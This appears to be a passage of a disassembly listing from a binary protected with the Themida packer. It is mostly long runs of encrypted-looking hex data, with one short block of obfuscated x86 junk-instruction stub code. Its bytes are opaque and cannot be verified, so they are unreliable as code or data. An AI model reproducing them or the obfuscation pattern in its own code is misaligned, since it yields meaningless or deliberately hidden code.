13780347h, 0C4DB0B75h, 15605A26h dd 905D2D46h, 1342E667h, 90ED8F47h, 1378742Fh, 0C4DBA175h dd 15600F1Fh, 0A8E5FA46h, 137875DBh, 2E0F5632h, 319128B7h dd 9E61FD34h, 0B4831B7h, 905D6534h, 1342E67Bh, 90ED8F47h dd 1378687Fh, 28E31975h, 606035C5h, 34E30335h, 52605A31h dd 0E22BA709h, 12131716h, 0EDB0DB9h, 2E21422Ch, 319173B7h dd 9E616434h, 0B441DB7h, 905D0334h, 1342D573h, 90ED1647h dd 1378BA0Fh, 50E37F75h, 606006C5h, 7CE39A35h, 5260962Dh dd 248FF9B1h, 1A66242Ch, 15641BB6h, 0C4E3B332h, 606060C4h dd 0CCE3A935h, 52600F28h, 0E2030D09h, 12134216h, 3B7BA7B9h dd 2E21172Ch, 31905DB7h, 9E613134h, 0B6E2FB7h, 905D5634h dd 13427EEBh, 90ED4347h, 1378095Bh, 0C8E32A75h, 6060ACC4h dd 0FCE3CF35h, 52603C2Bh, 0E3879409h, 5138E16h, 9D3F9B1h dd 6066242Ch, 30E39A35h, 52609636h, 0E383C109h, 12132416h dd 10F94B9h, 2E218E2Ch, 3190ADB7h, 96765734h, 0B7AA48Fh dd 12138834h, 0F4BC1B9h, 2E21242Ch, 3190FCB7h, 9E61FD34h dd 0B4609B7h, 905D6534h, 1342E7C3h, 90ED8F47h, 137853F3h dd 0ECE31975h, 606035C4h, 0A0DB0B22h, 15605A2Eh, 90ED2547h dd 137837C7h, 0E0E3B375h, 606060C4h, 0A0DBA122h, 15600F2Eh dd 90ED8F47h, 13784B1Fh, 0E8E31975h, 606035C4h, 0B4E30335h dd 52605A32h, 0E267A709h, 12131716h, 69F0DB9h, 2E21422Ch dd 319127B7h, 9E616434h, 0B5755B7h, 905D0334h, 1342D53Bh dd 90ED1647h, 1378A76Bh, 18E37F75h, 606006C5h, 0D8E39A35h dd 52609635h, 0E277C109h, 12132416h, 24DB94B9h, 2E218E2Ch dd 319151B7h, 9E615734h, 0B7474B7h, 905DCF34h, 1342B32Bh dd 90ED2547h, 13780DA3h, 0C4E3B375h, 60605A00h, 0ECE3A935h dd 52600F1Eh, 0E27B0D09h, 12134216h, 1BFBA7B9h, 2E21172Ch dd 3191D1B7h, 967F3134h, 3191438Fh, 1C131134h, 3E9B35B1h dd 6166422Ch, 98E3A935h, 52600F36h, 0E23B0D09h, 0C134216h dd 0E2079FB1h, 60661716h, 0E8DB0B3Bh, 15605A19h, 90ED2546h dd 137811FBh, 34E3B375h, 606060C5h, 0D4E3A935h, 52600F31h dd 0E2430D09h, 12134216h dd 857A7B9h, 2E21172Ch, 3191A1B7h, 9E613134h, 0B4897B7h dd 905D5634h, 13427F1Fh, 90ED4347h, 137804AFh, 24E32A75h dd 6060ACC5h, 0F8E3CF35h, 52603C33h, 0E2539409h, 12138E16h dd 0FBFC1B9h, 1E21242Ch, 10E21ECDh, 0FC668832h, 0EA99BFD8h dd 33F3A709h, 9069172Ch, 15668839h, 87D4C1BFh, 0C68F2416h dd 2E99EEC9h, 0B55A9B7h, 0DE34B34h, 96662232h, 3190478Fh dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h dd 3190D5B7h, 19E22D34h, 2E661132h, 31901DB7h, 10E34B34h dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh dd 905D1132h, 13427EB7h, 156DC13Dh, 90EB2232h, 153E73D6h dd 0EA9DE5DBh, 9CE37FCDh, 1A6006C4h, 15661AB7h, 4FE30532h dd 0FC661C51h, 0EA99D964h, 0E3EB9409h, 90698E16h, 15664439h dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h dd 1563943Dh, 368F8832h, 9E99BBC9h, 9CD3ABC2h, 9C600F1Ch dd 0B487D87h, 0FC58C434h, 1540A73Dh, 6BED1132h, 9E988B33h dd 15A5C5ECh, 2E662272h, 0B48988Fh, 1DE48734h, 2E664432h dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 15BFF9B9h, 90A1242Ch dd 137832BBh, 15668832h, 0E0D3CD52h, 98603C1Ch, 307788AFh dd 1AB57734h, 156666B0h, 8FBAF32h, 0EA60328Ah, 0CBE587E1h dd 9E99BBCDh, 0B48D787h, 9CD39834h, 98609611h, 31224BAFh dd 9EB5DD34h, 0B4898B7h, 0E0E30134h, 74605A1Ch, 1B64BFBFh dd 0C6991717h, 58C15BFh, 0C6994217h, 156AA13Dh, 90E51132h dd 1378A6C7h, 0EAB8AD37h, 88EBDDCDh, 13430021h, 96695BCDh dd 1566443Ah, 0FC62E0B1h, 15661100h, 0AD7B15BFh, 0C6994211h dd 156DA13Dh, 0A0ED1132h, 1378A6C7h, 1561C4DBh, 0E0EBA932h dd 9C600F1Ch, 0B487D87h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h dd 88EB77CDh, 13420055h, 0D2EDF1CDh, 15BF9419h, 90EF8E2Ch dd 137850D3h, 15BFA7B9h, 4531172Ch, 51BA05BFh, 0C4994216h dd 39BBA7B9h, 4236172Ch, 15BF0DB9h, 9836422Ch, 312329BFh dd 9EB7EE34h, 3EAE03E2h, 0B4A99BFh, 4DBA134h, 15600F3Ch dd 154D0C3Dh, 90ED4432h, 137822BFh, 1B779419h, 0D45D8E2Ch dd 1571C23Dh, 90ED2232h, 13780A03h, 1B770D31h, 90EF422Ch dd 13783FF7h, 156652DBh, 0D4EDD932h, 1A99497Ah, 9C262232h dd 0B669CB7h, 0FCE38934h, 0D2605A36h, 0B6833B7h, 15661134h dd 7D26E232h, 15665432h, 0EA664863h, 0B47ECA7h, 38F37734h dd 9C605A36h, 0B7D13B7h, 0D0E39834h, 4C60962Fh, 8A3F1CDh dd 0A099242Ch, 13783DEFh, 0CCD37765h, 98605A32h, 312FBFB7h dd 14B6EE34h, 0B6899BFh, 0D0DBCF34h, 9E603C2Fh, 0B4ACC87h dd 9EC27B34h, 0B448987h, 53A18F34h, 156611CEh, 10A64932h dd 0E0F34237h, 0D0E32163h, 9E600F3Ch, 0B7B4DBFh, 0B86ECD34h dd 159A64F5h, 9C661132h, 0B444587h, 0EA9EC734h, 1546A73Dh dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h, 15661132h dd 9C624EB1h, 0B448987h, 0E380CB34h, 0D5A7EECDh, 0D0E38B31h dd 96605A3Ch, 0B72438Fh, 91691034h, 156688AFh, 0BFCC7AB3h dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h, 0A5F12232h dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 137809CFh, 2BE21E33h dd 0AD668832h, 15664532h, 0E3FB9FB1h, 1A661716h, 156680B6h dd 0CBFBC932h, 0EA60067Eh, 855991E1h, 156E0C3Dh, 0D2E54432h dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 88DB9232h dd 1560ACC4h, 156EC03Dh, 88EB2232h, 13425D9Ch, 52EE5BCDh dd 0D0E3CF36h, 3E603C2Fh, 118E92F5h, 53A12599h, 156644CEh dd 0EA77CB32h, 0A0EFEECDh, 1378AAFFh, 95662C60h, 150C2232h dd 3A9BA4CDh, 80998E2Ch, 137859B3h, 9CEBA968h, 0D2600F3Eh dd 15668833h, 11A7C732h, 19EFAFBBh, 58F172Ch, 0FC9977C7h dd 15664296h, 9CEBA952h, 9E600F3Eh, 8CEB013Bh, 946060C4h dd 51326C0Ah, 9E31E7Eh, 73668832h, 59623CB3h, 5E32D1Ch dd 9E661132h, 13A00BC2h, 34A7C1B9h, 138F242Ch, 9E661133h dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h, 0EAA1A43Dh dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh, 6F5A1132h dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h, 0B7D9D87h dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h dd 0B195E6B5h, 1599CFF4h, 0EBFD1BFh, 90ED242Ch, 13781683h dd 906948B7h, 15664428h, 3527A7F4h, 7D21172Ch, 0C1FC2FE0h dd 27F7F1CDh, 90EB242Ch, 134769E3h, 0EA3458CDh, 1AA6C1E2h dd 15661AB7h, 0C4E39A32h, 90609629h, 0FE34BF2h, 0D3662232h dd 0B4650B7h, 0FC0EC434h, 0EABF9E2Eh, 0B54B387h, 0C4E39C34h dd 0EA60A94Ah, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh dd 8CE3CD32h, 456006C4h, 43E39C64h, 0EA60A9A3h, 1AA64FE2h dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h, 8CEBA952h dd 456035C4h, 556549B9h, 9DF6CF0Eh, 9C662232h, 0B48B8A7h dd 159E8D34h, 45ED4432h, 94F3AB3Eh, 4D600F24h, 3142CCB9h dd 905D8519h, 137834B3h, 1576933Dh, 905D8832h, 13786A9Bh dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h dd 15661516h, 10DE8832h, 98664432h, 0B2A9ABFh, 7587EE34h dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h, 9169EAC9h dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh, 4BD087CDh dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h, 1A98454Ch dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h, 0E20FC1F5h dd 15602416h, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h dd 9CE39A7Ch, 9E60961Ch, 0B45CDA7h, 96B8A934h, 4B6517F1h dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h, 96B9A3CDh dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h dd 13780CC7h, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0E20FA7F5h dd 15641716h, 0CBED8832h, 9568F23Dh, 9669A2CBh, 1566113Ah dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h dd 9CE3CFEBh, 9E603C1Ch, 0B4598A7h, 0CCDB0B34h, 14605A2Eh dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh dd 9B8FEECDh, 0D2668832h, 31912DB7h, 15662034h, 1AB89A32h dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh, 95668832h dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 3BEF0DB9h, 80ED422Ch dd 137801BBh, 9BFACB1h, 1A678E2Ch, 15660CB6h, 1ABE1932h dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh, 0A5689B98h dd 1A8708B2h, 3ECC8538h dd 118DA1EDh, 0D3E5BAA1h, 0E0D30130h, 0D2605A1Ch, 0B7AFBB7h dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h, 0EA9F66DBh dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h, 9638D169h dd 0D28F40F6h, 0D299DDCBh, 319178B7h, 15668D34h, 96B8CF32h dd 0B6526F1h, 3BEF94B9h, 80ED8E2Ch, 137867BBh, 58DBA17Ch dd 14600F28h, 14650C3Dh, 0CD5D4432h, 156EA03Dh, 0CF5D1132h dd 154D0E3Dh, 0A0EF4432h, 13780CC7h, 0E20F8CB9h, 49678E16h dd 0CB8F4816h, 4A662232h, 0F2B94F5h, 15678E2Ch, 4C3D4432h dd 11A2A16Ch, 0EA9EE6DBh, 0CCDB0BCDh, 14605A2Eh, 15DDA63Dh dd 884D1132h, 1378A6BBh, 15BFC9B9h, 0DE65242Ch, 0FCE5DE19h dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch dd 0E20FC1F5h, 15642416h, 0CBED1132h, 95683E3Dh, 9669C4CBh dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh dd 3E661132h, 9CE303EBh, 9E605A1Ch, 0B45ABA7h, 0EA20F834h dd 90A177CDh, 1342B35Bh, 15662230h, 0A369CFB9h, 959F083Ch dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh dd 1566DDD3h, 9EBF3A32h, 0B4801B7h, 9CF3CF34h, 96603C11h dd 0B7AC88Fh, 91698934h, 0EA99BAFBh, 9769FA09h, 1566113Ah dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh, 84CC6182h dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h, 157EADCAh dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h db 99h byte_59FEE9 db 4Ah, 0E5h, 0D3h ; DATA XREF: Themida_:0053A868o dd 44A57137h, 2960CF54h, 55E22DF1h, 29661132h, 2DE287F9h dd 29664432h, 2DE22DF0h, 29661132h, 25E287F8h, 73664432h dd 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh, 9F662232h dd 0E5421374h, 9169280Eh, 15664411h, 2C8FDA6Bh, 26661132h dd 0C8FC9FBh, 0AC664432h, 15662231h, 15661EDBh, 15603132h dd 108F4432h, 0AC662232h, 15661135h, 98ED2CC1h, 137867BBh dd 9069EBB7h, 15661134h, 36EF3DBBh, 0EC3F422Ch, 13ED44F1h dd 9169D20Eh, 15668857h, 0F6E69CB8h, 659DA2C2h, 15FA953Dh dd 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh, 0D75A8832h dd 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h, 916961CDh dd 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh, 15662250h dd 0EA482C54h, 156B0D3Dh, 53EC4432h, 29960630h, 13E21E92h dd 0ED668832h, 15664BDBh, 9CD3AB32h, 98600F11h, 312287AFh dd 0ECB5BB34h, 53ED72F1h, 0ECE39822h, 4D609624h, 987A82B1h dd 0B416F8Fh, 5165BC34h, 98CDAC16h, 0B6AC58Fh, 51658F34h dd 0BE363516h, 3CDF35BFh, 16CB422Ch, 0BE4E0676h, 9830D26Ch dd 312560AFh, 0FCB5BB34h, 0FFFFFF95h, 0D24ECEDFh, 0FD4AA86Ch dd 51A2458Ah, 30C0D5F2h, 96A46131h, 152AA8EDh, 2429458Ah dd 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch dd 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah dd 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h dd 59D7BA86h, 0A370CE25h, 0DCF143AEh, 319D6532h, 0D871BA8Ch dd 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 3B38C882h, 462C701Eh dd 0E693DF07h, 0C6D5528Ch, 0B85E0003h, 0E9835492h, 8BA4F305h dd 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 5073FD76h, 0C113C52h dd 0DDD39572h, 5163B977h, 0DF79F4B9h, 1331B575h, 5A1A3822h dd 0DFBAF4B9h, 9F36A175h, 36ABA1F0h, 769434F4h, 5E9832Ch dd 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 5E70D517h, 3FD525FBh dd 0F1ADFDF5h, 22915136h, 7ACFB734h, 29B723ACh, 7A1A20ADh dd 277975FDh, 0B67D987Ch, 0FFA073D9h, 7C0BBEEFh, 0E983C87Dh dd 8BA4F305h, 75BD8DDBh, 8D0624F7h, 25125C8Dh, 6644B806h dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 0F4904C7h, 0FFFFF285h dd 83C08BFFh, 1E1D79BDh, 9750006h, 2B25BD83h, 7400061Eh dd 8B535019h, 411B8C0h, 85890000h, 61E0D19h, 0ACA19D8Dh dd 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h, 411B853h dd 85890000h, 61E0D19h, 0A9429D8Dh, 0D3FF0620h, 0C08B585Bh dd 72A4F2BBh, 3D04EB46h, 0E9357B44h, 51Fh, 0CE43FE83h dd 0F76C35B3h, 249958DCh, 4EC36209h, 7AEFB233h, 0BB3C4739h dd 0DC6681F6h, 0ED91AC21h, 35B8D348h, 5BF7F76Ch, 49E59F45h dd 0C402B73Fh, 876908ABh, 735F17C6h, 0B64F31F0h, 0DCF76C31h dd 598BA159h, 0FD3924D2h, 7035B9B8h, 0C4A6CD8Eh, 0D772F30Ch dd 0B6658C55h, 4F6D34B7h, 9419AC36h, 7C8AAD1h, 5FDD7658h dd 3330B496h, 0F9B83BEDh, 29C56984h, 24D2D113h, 19408539h dd 0AB516AA4h, 0DA5C5B0Ah, 89C1F917h, 24D27173h, 0A4A0E539h dd 3924D340h, 4022D116h, 405E1BA7h, 0BF5087A9h, 0DD8C1BD4h dd 266C8DFBh, 0BA2FF274h, 73551C9Fh, 25B004DDh, 1F38D439h dd 31F2D49Dh, 4AB9FF82h, 81C4F74Ch, 9005h, 0BD544F00h dd 0B0A266E4h, 403FEEF6h, 9ED6F4BDh, 25595C88h, 0A8BEFA39h dd 39255A3Ch, 0FFAED51Ah, 172D651Dh, 392559CDh, 99954489h dd 39255A49h, 794A9091h, 3653AA41h, 0E1EF3F03h, 2550FFE5h dd 51B5739h, 392550DFh, 5C0B3277h, 0C556A2A0h, 524EE581h dd 208C32B9h, 6DEF412h, 503924FFh, 1B45C0Bh, 0FE000000h dd 4A2CF573h, 886A0BB1h, 0C7A948EFh, 4E004643h, 779207AEh dd 7EB82DF4h, 28FFC1E7h, 2553D212h, 0C23F8439h, 1CCB8425h dd 2FF27364h, 6D34B44Dh, 0C1070A8Bh, 9257D7F0h, 0C643E4E3h dd 4B027F26h, 30208B53h, 92499C0h, 44DDBF66h, 6F1F01A0h dd 2F1D8CD2h, 0E881C4E8h, 5Dh, 2FF27332h, 0AC75F811h, 0FE821BFDh dd 0D4D15537h, 965BDC8Eh, 2BCEE721h, 5BDCDB8Ah, 9C1BB496h dd 0A643F3D5h, 0D303F160h, 73BC81C5h, 6000000h, 4866BD54h dd 1EBEC024h, 0FFAED598h, 9CBA7F00h, 0FE964E64h, 7BC03924h dd 1932EACCh, 2DEED095h, 3AFF7F7Eh, 0D81EBD58h, 67DC8126h dd 2CF57393h, 0D32DB44Ah, 0FAB3924h, 349340D7h, 8003C077h dd 254B6084h, 29C86B39h, 0CD128647h, 0E6559B1Eh, 81C55BE8h dd 0C997942Bh, 4CF38C03h, 10F59Dh, 0C0D90000h, 7D677D3Dh dd 0D93924F3h, 0CA8B6D94h, 1C54631Bh, 24D2DE06h, 0B6337839h dd 0CC4BD6DBh, 0DEDD8C0Ch, 20B99B5Ah, 9DB6D49Dh, 0C4A65518h dd 3DEF3556h, 45DCFABBh, 0EE9913A9h, 0CE43F267h, 3AE77B94h dd 29E89758h, 2F456310h, 3F42F0AEh, 0DA73559Ah, 38708E57h dd 6E0C222h, 0A04F9433h, 0C46D102Bh, 3BB30FA6h, 0D05C90D7h dd 0A5872ED1h, 0BD5335E4h, 33077025h, 0AB4D66A0h, 92D85B0Ah dd 1F945DE0h, 0A2C06104h, 9443E289h, 0CF9619B2h, 0CD554EDh dd 4BEA912Ah, 9FE5E869h, 95DBDEC5h, 23C940E3h, 6F6F758Bh dd 0A2E73307h, 0B1D8997Bh, 3766643Ch, 111F87E3h, 69000001h dd 0CFED86B3h, 0D2638197h, 0AEF33924h, 0FECBE1FFh, 223F42EFh dd 0DF62FBDDh, 0E386A116h, 24C76042h, 171A9B7Dh, 0D59C1FD1h dd 0D8EE2660h, 3306B60Ch, 0ECF80E4Ah, 6A3306B5h, 934FFE25h dd 87E3F195h, 274Eh, 8AB39800h, 77BDD3F1h, 7F3924D3h, 22C2583Ah dd 0E03924D3h, 162799DFh, 0B293F5Dh, 0EB3924D3h, 0A52731A6h dd 0F5000000h, 0CFED86B3h, 0F41F0097h, 2256A86Bh, 47C4D226h dd 0C473093Dh, 435E2DC8h, 24064B3Fh, 12CF536Ch, 0C1C06F30h dd 0C802773Eh, 0B96809AFh, 8C6E37BAh, 730E9F6h, 0F137D633h dd 80F5BC3Fh, 0C1DF94A5h, 2C431CABh, 0A53D5639h, 20C4DAF8h dd 362CE21Bh, 89CE42F1h, 8458EFA7h, 274F4ABh, 0B47DFBFAh dd 6C630605h, 5C36C90Ah, 6AA52291h, 4834D86Ch, 18B193BAh dd 57F0D297h, 0CF3113D6h, 0DAAE88CEh, 380173B9h, 0B8CFBE5h dd 82FF779h, 0E6F3D4EAh, 667F3306h, 0FF7322C3h, 30059CBAh dd 1B88AEDFh, 16EA5F0Eh, 0CFED86B3h, 49E70EB9h, 4BF10E3Fh dd 0BF479DB3h, 0CA0F32FFh, 0D900C1A3h, 2BAC24BBh, 55C0839Ch dd 882BC4A6h, 0D65974E9h, 56D8F10Fh, 41F0B193h, 7830C95Fh dd 21C5665Dh, 7F019A7Ch, 739A5BDEh, 0BC022391h, 0F233968Ch dd 9AC1E30Bh, 0BB6DB3B0h, 0E9047938h, 68819F46h, 7A3B1DC4h dd 1831E9CBh, 1E1DCC95h, 5BF4D69Fh, 9B3416DBh, 0F172541Dh dd 0FACEA8EEh, 5EE193D9h, 64072297h, 0E0869FBDh, 0EB9A5B3Dh dd 38109h, 7F4F0000h, 33EE73A7h, 6C35B851h, 0A84DF18Ah dd 0E8952DC6h, 25C86D06h, 6005AA43h, 9F46E57Eh, 0E18024BDh dd 1FC666FFh db 3Dh, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push 39E9h mov [esp], eax push 1D37h mov [esp], ecx mov eax, 3F21D81h dec eax dec eax push esi mov esi, 6D5961F2h and esi, 38F4600Eh not esi add esi, 2E276E92h xor eax, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push 70D6h mov [esp], eax pop dword ptr [ecx+8] push dword ptr [esp] pop ecx add esp, 4 mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_536D7B ; --------------------------------------------------------------------------- dd 0A58BA6D3h, 0B870987Bh, 625188Ah, 0E0FFC503h, 2462BFD6h dd 5E279368h, 62A7E190h, 0AE8h, 198CD700h, 0DB3B86C7h dd 6001D4FBh, 19BE6653h, 61F8581Ah, 0F780505Fh, 0C781590Ah dd 63CAh, 0BE61FC60h, 0EF09B2Bh, 7DA8C681h, 26BBF10Fh dd 8B65A982h, 5E817h, 0EB120000h, 0FD242EBh, 188h, 8159F500h dd 7AB176C2h, 3DD9816Bh, 816CE480h, 0C8C41FF2h, 0B5C18129h dd 8162EEC0h, 5F7A4CEAh, 81178963h, 0D79D4FD0h, 4EF831Dh dd 79E08166h, 850F4E86h, 0FFFFFFB7h, 18A0Fh, 0EBFC0000h dd 8, 4EC44F00h, 543E96Fh, 0D5680000h, 0E906251Ah, 0FFF965DBh dd 251B4B68h, 65D1E906h, 0D068FFF9h, 0E906251Ch, 0FFF965C7h dd 0E65B069Bh, 0F842DCBh, 3CB170F4h, 66DB9A21h, 9207AA4Bh dd 0D3545F51h, 0E47E990Eh, 5A9C439h, 2DD0EB60h, 730F0F84h dd 49EB875Dh, 421ACF3Fh, 112FF273h, 2B170F8h, 3DE48720h dd 274CEDC8h, 2AB8D109h, 1DCC8D6Fh, 42DB3C21h, 0C5CB623Fh dd 6F8845C2h, 0B4F96D1Ch, 36FF7D96h, 753CBB54h, 0FCABD293h dd 0CF5C841Ah, 0B3503306h, 0D800FE6Dh, 44B987E3h, 3000003h dd 83B6A9D8h, 36B7D0EEh, 2D541D9Bh, 0E98B8A4Bh, 0F6A56648h dd 5268A0D8h, 3924D292h, 4B617FC4h, 3924D299h, 0CDC978BDh dd 3F42F354h, 0E2C8E17Ch, 0FB0FA5CEh, 0F564FAD4h, 306BE0h dd 41A3839h, 3BBF16CDh, 796B81B9h, 522F8310h, 4E9307AEh dd 4E62B9Fh, 0C7E58EABh, 0A14A29B1h, 0D1566F35h, 0D7E5FF15h dd 2C712964h, 0B3622305h, 0DB9A223Fh, 0FA7D96B4h, 8ABC63Bh dd 3B5EA769h, 9EA0E8A9h, 36016h, 58059E00h, 8120C8E3h dd 0A64FF10Ch, 0CE971631h, 0F4B93E59h, 414C3E7Fh, 6984F9BCh dd 8CA71CD9h, 0B7D247EAh, 0F8F86D34h, 0EC9E465Ch, 3B83F49h dd 0ED86B32Bh, 0ECD4B9CFh, 0F22A3F49h, 0FFBA08DCh, 5A094E32h dd 6A83A1E6h, 0D11329C5h, 8532FFB9h, 89A41940h, 0A2341E4h dd 1ADBBD78h, 0ECF3896Bh, 0D532FFB9h, 753CBB52h, 0E9ABD293h dd 0F2441CAEh, 0EA0E9698h, 28000002h, 4E69DE9Bh, 779207AEh dd 9CB72CF5h, 0C4DF541Dh, 0C8097E23h, 872ACBD6h, 0AE6BF712h dd 0D5981E39h, 3A24560h, 0DCF28E8Eh, 3F49EE08h, 0B3C1994Eh dd 0B9CFED86h, 3F49ECD4h, 3D6F932Ah, 26E0A21Bh, 0A0BE0377h dd 44925268h, 7FC432FFh, 8858EED0h, 2432FF44h, 0D4D24187h dd 8D87EB5Eh, 1E7h, 0BC3B54D7h, 0A35213F5h, 536901A4h dd 3924D291h, 717389C5h, 0E53924D2h, 705279A0h, 188D54D7h dd 5977FC3Dh, 42F01643h, 3E52A3Fh, 6B4736Dh, 569C3933h dd 25CC6C85h, 8D15CDA8h, 40EF3329h, 0E3E78684h, 853F87h dd 0A230000h, 9E47E578h, 25D49577h, 0B93B546Dh, 4FF16F8h dd 0B0B4611h, 0BC7B2A51h, 0F9AD9E7Dh, 0AE402ADDh, 18316987h dd 1EC6DC96h, 383925A0h, 29EACCF3h, 0FFE1842Ah, 72938F3Eh dd 263F43CBh, 7769FFE1h, 4C330774h, 0C5ACB5B6h, 0AC142EDAh dd 670AA385h, 0A6C5DCBEh, 85E8F4C6h, 6EB4B79Eh, 2D467E94h dd 4708EA8Bh, 0FECF1598h, 7A34B0C6h, 0DD223307h, 0CCE9CC60h dd 21D0A18Eh, 0E3126765h, 0A12087h, 736A0000h, 0B64F31F0h dd 0F18A6C31h, 2CC5A74Eh, 0B1CAE889h, 0C7886A0Bh, 338BA318h dd 4C3924D7h, 0E48D30A9h, 0CC6D48BDh, 9B167B51h, 6A913B4Fh dd 3C51364Ch, 88A13F45h, 69F9E7E4h, 0E898F411h, 599E12C1h dd 0D89D223Bh, 2A74863h, 48FA5140h, 0F37B7DF2h, 165h, 0EE631EA3h dd 178C55D3h, 44B978FCh, 6EE38229h, 9A0FD253h, 0DB5C6759h dd 0FC86A116h, 0DB1CC41h, 55D8F368h, 7B17178Ch, 49EE7F65h dd 4A22D73Fh, 112FF273h, 0CFB170F8h, 0CFEA5F0Eh, 6C788E2Ch dd 0EA3924D2h, 60872ECDh, 73F0C439h, 0FA1331F0h, 10D1B372h dd 43E67F61h, 0C86B84A2h, 13304729h, 0FEC237B1h, 0B328D7FEh dd 0F21061D8h, 439BBCDCh, 9FBD023Fh, 93162F67h, 332FF0D2h dd 330701B1h, 0B2B160A5h, 0DBF3680Dh, 33070205h, 5E15089Fh dd 0CF464F85h, 1F9CD824h, 8E3DA8A3h, 384EEC8Fh, 330742ACh dd 203E65AAh, 0C89251E8h, 4A9C8478h, 780964Eh, 0CC7BC033h dd 0F6BB3C57h, 0A38C14h, 545A0000h, 18FAA73Bh, 50E9A857h dd 2406AB4Bh, 2047EA8Bh, 0CCC5DBF9h, 0E43F49ECh, 9B7D24C7h dd 0BA17CDE3h, 0FA3F32FFh, 0F78EACD3h, 85CC566Eh, 4A2CDBC5h dd 0EF8F0EB1h, 80A7684Ah, 0A44DF00Bh, 0E5E92CC2h, 5C599C6Ah dd 20C16416h, 30B4CA02h, 26C99330h, 3010D4EAh, 146C993h dd 9958DBDAh, 0A43B75EAh, 142CA15Ch, 1C1BCAD2h, 3EF6D899h dd 65E28325h, 0E5723224h, 0FDFCAB66h, 67D5B77Eh, 0BEEB14ABh dd 39BBA797h, 0FC1078Ah, 1650C56Ch, 8F1CC8DEh, 0F53AC993h dd 0FDA44746h, 3931Bh, 7F610000h, 33EE73A7h, 6C35B851h dd 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h, 9F46E57Eh dd 0E18024BDh, 1FC666FFh, 1468003Dh, 89000077h, 8953241Ch dd 4C381E3h, 83000000h, 1C8704EBh, 3C895C24h, 0E6895624h dd 4C681h, 0EE810000h, 4, 5C243487h, 56240489h, 0E15C84BEh dd 14F75632h, 0E6C15E24h, 7E6C104h, 0C1D8F681h, 0F789F33Eh dd 4EC815Eh, 89000000h, 4812424h, 424h, 81575800h, 5B372434h dd 408F2FC2h, 8B95108h, 1000000h, 